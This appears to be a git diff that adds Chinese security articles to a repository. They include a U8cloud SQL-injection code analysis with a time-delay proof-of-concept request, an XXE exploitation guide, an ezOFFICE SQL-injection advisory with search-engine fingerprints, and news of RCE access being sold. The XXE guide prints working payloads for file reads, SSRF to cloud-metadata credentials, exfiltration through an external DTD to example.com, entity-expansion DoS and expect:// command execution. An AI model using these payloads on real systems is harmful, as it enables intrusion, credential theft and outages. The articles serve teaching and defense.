|
||||
## 一、漏洞简介
|
||||
|
||||
U8cloud系统MeasureQueryByToolAction
|
||||
接口存在SQL注入漏洞,攻击者未经授权可以访问数据库中的数据,从而盗取用户数据,造成用户信息泄露。
|
||||
## 二、影响版本
|
||||
|
||||
1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp
|
||||
## 三、漏洞原理分析
|
||||
|
||||
漏洞位于MeasureQueryByToolAction
|
||||
接口处,文件路径为nc.ui.iufo.query.measurequery.MeasureQueryByToolAction
|
||||
|
||||

|
||||
|
||||
关键代码如下
|
||||
```
|
||||
public ActionForward execute(ActionForm actionForm) throws WebException {
|
||||
ActionForward actionForward = null;
|
||||
try {
|
||||
String[] cks = getRequestParameterValues("query_id");
|
||||
if (cks == null || cks.length == 0)
|
||||
return (ActionForward)new CloseForward("close_refresh_main();");
|
||||
String strMq = cks[0];
|
||||
String strRepId = "";
|
||||
MeasureQueryConVO[] mqCondVOs = MeasureQueryConBO_Client.loadQueryConVOs(new String[] { strMq });
|
||||
if (mqCondVOs == null || mqCondVOs.length == 0)
|
||||
throw new CommonException("miufo1003095");
|
||||
MeasureQueryConVO mqCondVO = mqCondVOs[0];
|
||||
strRepId = mqCondVO.getM_strRepId();
|
||||
if (strRepId == null)
|
||||
strRepId = "";
|
||||
addRequestObject("report_id", strRepId);
|
||||
addRequestObject("measureQueryId", strMq);
|
||||
actionForward = new ActionForward(RepToolAction.class.getName(), "execute");
|
||||
} catch (CommonException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
AppDebug.debug(e);
|
||||
}
|
||||
return actionForward;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
先看下用友系统的请求分发,查看Web.xml,可以看见请求/service
|
||||
和/servlet
|
||||
前缀的都经过NCInvokerServlet处理
|
||||
|
||||

|
||||
|
||||
方法主要功能是获得url路径后,如果是以/~
|
||||
开头,截取第一部分为moduleName
|
||||
,然后再截取第二部分为serviceName
|
||||
,再根据getServiceObject(moduleName, serviceName)
|
||||
实现任意Servlet的调用
|
||||
|
||||
比如一个请求url为
|
||||
```
|
||||
/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction
|
||||
|
||||
```
|
||||
|
||||
上面请求url中的iufo
|
||||
就是模块名称,com.ufida.web.action.ActionServlet
|
||||
就是服务名称
|
||||
|
||||
而在com.ufida.web.action.ActionServlet
|
||||
方法中
|
||||
|
||||

|
||||
|
||||
其中主要处理请求的方法为RequestProcessor.getInstance().process(request, response, this);
|
||||
|
||||
继续根据process方法中,可见此处接收参数名称action
|
||||
和method
|
||||
|
||||

|
||||
|
||||
最后走到processActionExecute
|
||||
方法中执行对应的方法名称
|
||||
|
||||

|
||||
|
||||
这里直接使用action指定了对应的类名nc.ui.iufo.query.measurequery.MeasureQueryByToolAction
|
||||
,method指定了对应的方法名称execute
|
||||
,便可以直接调用该Action的对应方法
|
||||
|
||||
回到MeasureQueryByToolAction
|
||||
中,查看调用的execute
|
||||
方法格式
|
||||
```
|
||||
public ActionForward execute(ActionForm actionForm) throws WebException {
|
||||
ActionForward actionForward = null;
|
||||
try {
|
||||
String[] cks = getRequestParameterValues("query_id");
|
||||
if (cks == null || cks.length == 0)
|
||||
return (ActionForward)new CloseForward("close_refresh_main();");
|
||||
String strMq = cks[0];
|
||||
String strRepId = "";
|
||||
MeasureQueryConVO[] mqCondVOs = MeasureQueryConBO_Client.loadQueryConVOs(new String[] { strMq });
|
||||
if (mqCondVOs == null || mqCondVOs.length == 0)
|
||||
throw new CommonException("miufo1003095");
|
||||
MeasureQueryConVO mqCondVO = mqCondVOs[0];
|
||||
strRepId = mqCondVO.getM_strRepId();
|
||||
if (strRepId == null)
|
||||
strRepId = "";
|
||||
addRequestObject("report_id", strRepId);
|
||||
addRequestObject("measureQueryId", strMq);
|
||||
actionForward = new ActionForward(RepToolAction.class.getName(), "execute");
|
||||
} catch (CommonException e) {
|
||||
throw e;
|
||||
} catch (Exception e) {
|
||||
AppDebug.debug(e);
|
||||
}
|
||||
return actionForward;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
方法中接收传参query_id
|
||||
,赋值给数组cks
|
||||
,接着取cks
|
||||
数组里的第一个参数,赋值给字符串strMq
|
||||
,之后调用loadQueryConVOs
|
||||
方法传入strMq
|
||||
参数
|
||||
```
|
||||
MeasureQueryConVO[] mqCondVOs = MeasureQueryConBO_Client.loadQueryConVOs(new String[] { strMq });
|
||||
|
||||
```
|
||||
|
||||
追踪loadQueryConVOs
|
||||
方法
|
||||
|
||||

|
||||
|
||||
进入到方法中,找到造成漏洞的关键代码
|
||||
|
||||
代码如下,方法中使用拼接的SQL语句:query_con_id in (strMq)
|
||||
导致了最终的SQL注入
|
||||
```
|
||||
public MeasureQueryConVO[] loadQueryConVOs(String[] strQueryConIds) throws SQLException {
|
||||
if (strQueryConIds == null || strQueryConIds.length <= 0)
|
||||
return null;
|
||||
Connection con = getConnection();
|
||||
StringBuffer str = new StringBuffer("query_con_id in( ");
|
||||
for (int i = 0; i < strQueryConIds.length; i++) {
|
||||
str = str.append("'");
|
||||
str = str.append(strQueryConIds[i]);
|
||||
str = str.append("',");
|
||||
}
|
||||
String strWhere = str.toString();
|
||||
strWhere = strWhere.substring(0, str.length() - 1) + ")";
|
||||
String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where " + strWhere;
|
||||
|
||||
```
|
||||
|
||||
此处可以使用')
|
||||
来闭合语句,执行任意的恶意SQL语句,造成敏感信息泄露
|
||||
## 四、总结
|
||||
|
||||
U8cloud系统MeasureQueryByToolAction
|
||||
接口的方法中拼接SQL语句造成了SQL注入漏洞,攻击者可以构造任意的query_id
|
||||
参数,执行恶意的SQL语句。
|
||||
## 五、资产测绘
|
||||
|
||||
FOFA语法
|
||||
```
|
||||
app="用友-U8-Cloud"
|
||||
|
||||
```
|
||||
|
||||

|
||||
## 六、漏洞复现
|
||||
|
||||
POC
|
||||
```
|
||||
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
|
||||
Host:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
Connection: close
|
||||
|
||||
```
|
||||
|
||||
延时注入5秒
|
||||
|
||||

|
||||
## 七、修复建议
|
||||
|
||||
安装用友U8cloud最新的补丁,或修改对应方法中拼接SQL语句的问题,使用占位符避免用户输入的参数注入到SQL语句当中。
|
||||
|
||||
|
||||
作者:【
|
||||
chobits02】
|
||||
|
194
doc/2025-05/XXE:高级 XXE 漏洞利用完整指南.md
Normal file
194
doc/2025-05/XXE:高级 XXE 漏洞利用完整指南.md
Normal file
@ -0,0 +1,194 @@
|
||||
# XXE:高级 XXE 漏洞利用完整指南
|
||||
原创 红云谈安全 红云谈安全 2025-05-25 11:24
|
||||
|
||||
XML 外部实体 (XXE) 漏洞是现代 Web 应用程序中最容易被忽视但影响却巨大的漏洞之一。尽管这些漏洞似乎越来越难以检测和利用,但其影响依然严重,通常允许攻击者读取内部文件、访问仅限内部的网络,在严重的情况下甚至执行远程代码执行!
|
||||
|
||||
在本文中,我们将了解什么是 XXE 漏洞以及如何识别和利用它们。我们还将介绍一些高级案例。
|
||||
|
||||
让我们开始吧!
|
||||
## 什么是 XML 外部实体 (XXE) 注入漏洞?
|
||||
|
||||
XML 外部实体 (XXE) 注入是一种漏洞,它允许攻击者操纵 XML 数据,意图利用解析器的功能。这通常会导致攻击者能够诱使存在漏洞的应用程序组件与任意主机建立 HTTP 连接(即服务器[端请求伪造)、读取内部文件,甚至在严重的情况下,通过获取对主机的访问权限。
|
||||
|
||||
知道 XXE 注入源于 XML 解析期间对用户输入的验证不充分,我们可以轻松列出一些通常容易受到 XXE 漏洞影响的应用程序组件。
|
||||
## 识别 XML 外部实体 (XXE) 注入漏洞
|
||||
- 基于 XML 的 Web 服务(接受和处理 XML 格式数据的 SOAP、REST 和 RPC API)
|
||||
|
||||
- 任何以 XML 格式传递或接受数据的导入/导出功能
|
||||
|
||||
- RSS/Atom feed 处理器
|
||||
|
||||
- 文档查看器/转换器(任何接受基于 XML 的文档的功能,例如 DOCX、XLSX 等)
|
||||
|
||||
- 文件上传处理 XML(例如 SVG 图像处理器)
|
||||
|
||||
一个经验法则是始终寻找任何能够接受和处理 XML 格式任意数据的潜在应用程序组件。某些 REST API (无意中)配置为接受多种格式的数据,包括 XML。始终值得测试。
|
||||
|
||||
XXE!自动化还是手动搜索? 一个简单快捷的小技巧,就能让你遇到 XXE:在你的代理拦截器中,添加一个匹配替换规则,将内容类型“application/json”更改为“text/xml”。现在你只需要查找 XML 解析错误😎
|
||||
|
||||

|
||||
|
||||
图像
|
||||
|
||||
2023 年 9 月 25 日 下午 5:47
|
||||
|
||||
**287****回复****复制链接**
|
||||
|
||||
**阅读 6 条回复**
|
||||
|
||||
现在我们知道了什么是 XXE 漏洞以及在哪里可以找到它们,让我们来看看一些可以利用它们的方法。
|
||||
## 利用简单的XXE漏洞
|
||||
|
||||
让我们首先通过易受攻击的组件来理解XXE漏洞。看一下以下易受攻击的代码片段:
|
||||
|
||||

|
||||
|
||||
|
||||
具有 XML 外部实体 (XXE) 注入漏洞的简单易受攻击的代码片段案例
|
||||
|
||||
分析上面的代码片段,我们可以发现一些问题:
|
||||
- 没有足够的用户输入验证
|
||||
|
||||
- XML 解析器支持 XML 实体(见LIBXML_NOENT
|
||||
标志)
|
||||
|
||||
- XML 解析器配置为自动加载外部 DTD(文档类型定义,参见LIBXML_DTDLOAD
|
||||
标志)
|
||||
|
||||
这三个条件都有助于 XXE 攻击。发送如下所示的恶意负载,我们就能轻松加载我们在外部实体 ( xxe
|
||||
) 中指定的本地文件:
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]><data> <post> <post_title>&xxe;</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
利用简单的 XML 外部实体 (XXE) 注入漏洞
|
||||
### XXE 到 SSRF
|
||||
|
||||
类似地,我们不仅可以声明本地文件的路径,还可以包含任意主机的 URL 来执行服务器端请求伪造攻击并获取响应。
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY ssrf SYSTEM "https://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]><data> <post> <post_title>&ssrf;</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||
当然,像上面提到的这样容易受到简单 XXE 注入漏洞攻击的应用程序组件非常少见。尤其是随着 Web 开发人员安全意识的提高,以及旨在主动缓解 XXE 等危险注入攻击的新原生安全功能的出现。
|
||||
|
||||
让我们看一些更高级的例子。
|
||||
|
||||
**提示!在本例中,我们通过反射整个用户输入数据对象简化了 XXE 攻击。在实际场景中,您更有可能尝试注入不同的参数并观察响应变化。**
|
||||
## 利用高级XXE漏洞
|
||||
### 利用外部 DTD 来利用 XXE
|
||||
|
||||
在某些情况下,你会遇到一些目标会过滤掉file://
|
||||
协议,将其替换为空值或完全阻止它。为了绕过这种情况,我们可以利用 XML 中的一个特殊功能——文档类型定义 (DTD)。
|
||||
|
||||
DTD 本质上是一个文件,它指定了我们在恶意 XML 结构中使用的实体。现在,我们不用像之前那样在本地声明它,然后让安全过滤器移除我们的file://
|
||||
协议。我们可以在外部文件中声明 DTD,从而完全绕过过滤。
|
||||
|
||||
假设我们的服务器上托管了以下文档类型定义(DTD)文件:
|
||||
```
|
||||
<!ENTITY % hostname SYSTEM "file:///etc/hostname"><!ENTITY % e "<!ENTITY % xxe SYSTEM 'http://example.com/?c=%hostname;'>">%e;%xxe;
|
||||
```
|
||||
|
||||
我们可以以一种方式制作我们的 XXE 有效载荷,使易受攻击的应用程序连接到我们的服务器,加载我们的恶意 DTD 文件,并执行其内容:
|
||||
```
|
||||
<!DOCTYPE data [ <!ENTITY % xxe SYSTEM "https://example.com/xxe.dtd"> %xxe;]><data> <post> <post_title>...</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||
使用这种方法,我们不再需要file://
|
||||
向易受攻击的服务器指定被阻止的协议,同时仍然能够泄露内部文件的内容!
|
||||
### 利用参数实体进行盲 XXE
|
||||
|
||||
一些开发人员尝试采取主动措施来抵御 XXE 攻击,并尝试从用户输入中剥离实体。众所周知,XML 实体(相当于变量)的声明和使用格式如下:
|
||||
```
|
||||
<!DOCTYPE root [ <!ENTITY name "This text will replace &name; when used">]><root>&name;</root>
|
||||
```
|
||||
|
||||
过滤掉“与”符号 ( &
|
||||
) 通常看起来合乎逻辑。然而,我们可以通过利用参数实体轻松绕过这个问题。参数实体用百分号 ( <!ENTITY % name "value">
|
||||
) 定义,引用语法如下:%name;
|
||||
|
||||
并且它们只能在 DTD 本身中引用,下面是使用参数实体加载外部资源的 XXE 有效负载的示例:
|
||||
```
|
||||
<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://example.com/"> %xxe;]><root></root>
|
||||
```
|
||||
|
||||
通过这种方法,我们可以使用参数实体来绕过阻止常规外部实体的保护和过滤器。
|
||||
### 通过资源耗尽来利用 XXE(“十亿笑声”攻击)
|
||||
|
||||
正如我们之前提到的,XML 解析器中的安全配置错误可能会开启新的攻击向量,并允许我们利用 XXE 漏洞。在某些情况下,当实体扩展限制未设置时,我们实际上可以利用这一点来指数级扩展外部实体。
|
||||
|
||||
指数实体扩展(更广为人知的名称是“十亿笑声”攻击)利用递归实体声明,导致高内存消耗甚至系统崩溃:
|
||||
```
|
||||
<!DOCTYPE root [ <!ENTITY e "e"> <!ENTITY e1 "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e2 "&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;&e1;"> <!ENTITY e3 "&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;&e2;"> <!-- ... -->]><root>&e3;</root>
|
||||
```
|
||||
|
||||
这种攻击特别危险,因为有效载荷本身相当小,并且扩展发生在解析期间,但可能完全压垮服务器资源。
|
||||
|
||||
**提示!测试拒绝服务 (DoS) 攻击时,请务必遵守程序指南,并且仅在允许的情况下进行!**
|
||||
### 通过UTF-7编码利用XXE
|
||||
|
||||
你可能已经注意到了,在我们所有的XXE载荷中,我们都只使用了UTF-8编码。正如我们之前所见,一些过滤规则主要包括删除恶意关键字和语法符号。
|
||||
|
||||
但是,如果解析器配置为接受多种字符编码,我们实际上可以发送以 UTF-7 而不是 UTF-8 字符集编码的恶意有效载荷:
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-7"?>+ADw-+ACE-DOCTYPE+ACA-data+ACA-+AFs-+AAo-+ACA-+ACA-+ADw-+ACE-ENTITY+ACA-xxe+ACA-SYSTEM+ACA-+ACI-file:///etc/passwd+ACI-+AD4-+AAo-+AF0-+AD4-+AAo-+ADw-data+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-post+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-title+AD4-+ACY-xxe+ADs-+ADw-/post+AF8-title+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ACA-+ADw-post+AF8-desc+AD4-xyz+ADw-/post+AF8-desc+AD4-+AAo-+ACA-+ACA-+ACA-+ACA-+ADw-/post+AD4-+AAo-+ADw-/data+AD4-
|
||||
```
|
||||
|
||||
这种方法可以帮助我们绕过一些输入验证限制,特别是基于黑名单关键字过滤的系统,以防止 XXE 注入攻击。
|
||||
|
||||
**提示!请记住在有效负载中包含 XML 序言,并将编码设置为“UTF-7”!**
|
||||
### 将 XXE 升级为远程代码执行
|
||||
|
||||
在某些情况下,我们不仅可以读取系统文件或访问内部网络,还可以进行其他操作。例如,当启用了 Expect PHP 模块时,我们实际上可以使用包装器来执行系统命令:
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY exec SYSTEM "expect://whoami">]><data> <post> <post_title>whoami: &exec;</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||
这个特定的 PHP 模块允许开发人员通过 PTY 与进程进行交互。我们还可以使用其他几个包装器来升级我们最初的 XXE 漏洞:
|
||||
- PHP 过滤器包装器
|
||||
|
||||
- PHP 档案包装器 (PHAR)
|
||||
|
||||
- ZIP/JAR 包装器(用于读取档案中的文件)
|
||||
|
||||
- 数据
|
||||
|
||||
- 地鼠
|
||||
|
||||
- FTP
|
||||
|
||||
- 字典
|
||||
|
||||
让我们详细探讨其中的一些。
|
||||
#### PHP 过滤器包装器
|
||||
|
||||
PHP 过滤器包装器是 PHP 过滤器扩展的一部分,旨在帮助开发人员过滤、清理和验证数据。我们可以使用此包装器读取本地文件(例如 PHP 源代码):
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/path/to/file.php">]><data> <post> <post_title>&xxe;</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||
这个 PHP 过滤器会将我们的 PHP 文件的内容以 base64 进行编码并将其返回给我们。
|
||||
#### PHP 存档包装器 (PHAR)
|
||||
|
||||
PHAR 流包装器是 PHP Archive Wrapper 扩展的一部分,它允许开发人员访问 PHAR 文件(编译成单个文件的 PHP 应用程序或库)内的文件。我们可以使用此包装器来获取内部 PHAR 文件中 PHP 文件的内容:
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY xxe SYSTEM "phar:///path/to/file.phar/internal/file.php">]><data> <post> <post_title>&xxe;</post_title> <post_desc>...</post_desc> </post></data>
|
||||
```
|
||||
|
||||
该包装器还可以帮助触发不安全的反序列化漏洞。
|
||||
|
||||
**提示!请记住,某些包装器并非原生支持,需要先启用扩展/模块才能使用!**
|
||||
### 二阶XXE注入
|
||||
|
||||
二阶XXE注入是XXE攻击的一种更复杂的变体,其中恶意有效载荷首先被存储,然后被检索和执行。由于二阶漏洞的执行不可预测且延迟,其更难以识别和利用。
|
||||
|
||||
例如,导入功能通常就是这种情况。这类功能通常开发为异步运行。首先,你通过上传恶意输入文件来提供它。接下来,你的导入请求将被排队,直到后台工作程序(易受攻击的组件)处理你的有效载荷。
|
||||
|
||||
一个经验法则是确保跟踪整个 Web 应用程序或 API 中的所有 XML 数据流,而不仅仅是入口点。这种方法还能确保您测试潜在的二阶 SQL 注入漏洞。
|
||||
## 结论
|
||||
|
||||
XXE 漏洞仍然存在于 Web 应用程序中,但由于安全措施的加强以及开发人员安全意识的提高,这些漏洞更难被发现。测试目标是否存在潜在的 XXE 漏洞始终是一个好主意,尤其是针对本文提到的所有利用方法。
|
||||
|
||||
|
@ -0,0 +1,117 @@
|
||||
# 万户 ezOFFICE govdocumentmanager_judge_receivenum.jsp SQL 注入漏洞
|
||||
Superhero Nday Poc 2025-05-25 09:42
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
万户 ezOFFICE govdocumentmanager_judge_receivenum.jsp 存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码,站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
title="万户ezOFFICE协同管理平台" || title="ezOFFICE协同管理平台" || title="Wanhu ezOFFICE" || title="ezOffice for iPhone" || body="EZOFFICEUSERNAME" || body="whirRootPath" || body="/defaultroot/js/cookie.js" || header="LocLan" || (banner="/defaultroot/sp/login.jsp" && banner="Set-Cookie: JSESSIONID=") || (header="Set-Cookie: OASESSIONID=" && (title="ezOFFICE" || body="whir.util.js" || body="var ezofficeUserPortal_ = Cookie(\"ezofficeUserPortal\");"))
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
延时4秒
|
||||
|
||||

|
||||
|
||||
sqlmap验证
|
||||
|
||||

|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||

|
||||
|
||||
afrog
|
||||
|
||||

|
||||
|
||||
xray
|
||||
|
||||

|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、
|
||||
升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC(来源公开平台)
|
||||
|
||||
▫️ 所有脚本经过基础测试,降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明:仅限合法授权测试,严禁违规使用!
|
||||
|
||||

|
||||
|
||||
|
29
doc/2025-05/汉堡王备份系统RCE漏洞被4000美元售卖.md
Normal file
29
doc/2025-05/汉堡王备份系统RCE漏洞被4000美元售卖.md
Normal file
@ -0,0 +1,29 @@
|
||||
# 汉堡王备份系统RCE漏洞被4000美元售卖
|
||||
祺印说信安 2025-05-25 08:51
|
||||
|
||||
针对全球最大快餐连锁店之一的网络安全威胁已经出现,名为#LongNight 的威胁行为者以4000 美元的价格出售对西班牙汉堡王备份基础设施的远程代码执行 (RCE) 访问权限。
|
||||
|
||||
该漏洞专门针对该公司的 AhsayCBS 备份系统,这是其数据管理基础设施的关键组件,负责处理跨多个存储平台的敏感公司信息。
|
||||
|
||||

|
||||
|
||||
AhsayCBS 平台作为具有 Web 控制台功能的集中式备份服务器,可管理跨本地存储系统、FTP/SFTP 连接以及主要云服务(包括 Amazon Web Services 和 Microsoft Azure)的数据。
|
||||
|
||||
这种全面的备份解决方案通常处理和存储大量的公司数据,这使其成为寻求有价值信息或计划勒索软件操作的网络犯罪分子的诱人目标。
|
||||
|
||||
KrakenLabs 团队分析师认为,由于潜在数据暴露范围较大,这一威胁尤其令人担忧,报告显示大约 2.6 TB 的敏感信息可能面临风险。
|
||||
<table><tbody><tr><td data-colwidth="576"><section><span style=";" data-pm-slice="0 0 []"><font style=";"><font style=";"><span leaf="">威胁行为者</span></font></font></span><span style=";"><font style=";"><font style=";"><span leaf="">#LongNight</span></font></font></span><span style=";"><font style=";"><font style=";"><span leaf="">正在以4000美元的价格出售汉堡王西班牙公司AhsayCBS备份系统的远程代码执行(RCE)访问权限。AhsayCBS是一个带有Web控制台的备份服务器平台,可管理本地存储、FTP/SFTP以及AWS和Azure等云服务的备份。据报道,该漏洞允许攻击者在备份开始/结束时运行代码,从而导致约2.6TB的敏感数据泄露。如果情况属实,这将带来严重的数据泄露或勒索软件攻击风险。</span></font></font></span></section></td></tr></tbody></table>
|
||||

|
||||
|
||||
此次漏洞出售的时间和方法表明,威胁行为者非常老练,对企业备份系统及其固有的安全漏洞有详细的了解。
|
||||
|
||||
据报道,该漏洞机制允许攻击者在备份操作期间执行任意代码,特别是在备份过程的初始化和完成阶段。
|
||||
|
||||
这个时机具有重要的战略意义,因为备份操作通常以提升的系统权限运行,并且经常绕过标准安全监控,从而为恶意代码的执行创造了理想的窗口。
|
||||
## 技术开发向量
|
||||
|
||||
备份工作流程中漏洞的出现体现了对企业数据管理系统的深刻理解。
|
||||
|
||||
通过在备份操作期间瞄准执行点,攻击者可以访问敏感数据流、修改备份完整性或建立对公司网络的持续访问,同时不被传统安全措施检测到。
|
||||
# — 欢迎关注 往期回顾 —2025收集更新信通院白皮书系列合集(665个)下载——等级保护欲等保定级先数据分类分级2025公安部网安局等保工作最新要求逐条解析公网安〔2025〕1846号文:风险隐患及工作方案释疑浅谈公网安〔2025〕1846号文:数据摸底调查释疑浅谈公网安〔2025〕1846号文:第五级网络系统释疑浅谈公网安〔2025〕1846号文:定级备案的最新释疑浅谈关于25年定级备案公安部网安局释疑的一点浅谈公网安〔2025】1846号关于对网络安全等级保护有关工作事项进一步说明的函新等保测评真的取消打分了吗?一点杂谈!新定级备案模板明确数据安全纳入等级保护体系等保定级新模板新要求,2025定级工作新变化2025新形势下新等保备案如何开展测评机构老板与销售注意:浅谈测评机构如何更好的满足属地网安监管?网络安全等级保护:等级保护工作、分级保护工作、密码管理工作三者之间的关系河南省新规定测评与密评预算再调低四川省等级测评与商密评估预算计算方法广西壮族自治区等级测评与商密评估预算为几何?黑龙江财政关于等级测评与商密评估预算为几何?和Deepseek一起共同探讨《国家信息化领导小组关于加强信息安全保障工作的意见》和Deepseek一起共同探讨《关于信息安全等级保护工作的实施意见》与Deepseek一起谈开展等级测评的必要性!——数据安全《网络数据安全管理条例》解读市场监管总局印发《网络交易合规数据报送管理暂行办法》数据安全知识:什么是数据安全?网警提醒 | 3.31世界备份日:重视你的数据安全网络和数据安全合规:15部门发布指导意见助力中小企业全面合规数码复印机数据安全:企业指南《数据安全法》中有关数据安全保护的法律义务——错与罚江苏涟水农村商业银违反网络安全与数据安全管理规定等被罚114.5万网络安全无小事!某企业因疏于防护被依法查处江苏灌南农商行因违反数据安全管理规定等被罚97.5万网安企业“内鬼”监守自盗,窃取个人信息2.08亿条郑州3家公司未履行网络安全保护义务被网信部门约谈25年郑州新增两家公司违反《网络安全法》被市网信办行政处罚驻马店市委网信办就网络安全问题依法约谈相关责任单位两家银行因数据安全相关问题,被罚款河北保定竞秀区委网信办依法约谈网站负责人贵港市网信办公布2起网络安全违法违规典型案例公安机关依法严厉打击侵犯公民个人信息犯罪,10起典型案例公布重庆网信部门近期就企业违法违规情况开展多起约谈与处罚新华社:中国电信、中国移动、中国联通,集体回应!重庆网信部门就一企业系统遭境外组织攻击,开展联合公安约谈——其他浅谈网络“四法四条例四办法一意见”与山东数字政府建设改革方案精彩回顾:祺印说信安2024之前祺印说信安2024年一年回顾网警提醒 | 3.31世界备份日:重视你的数据安全网络安全知识:什么是技术债务?网络安全知识:网络威胁情报解析5月1日起,《国家秘密定密管理规定》正式施行黑客攻击远程服务器十大弱口令
|
||||
|
Loading…
x
Reference in New Issue
Block a user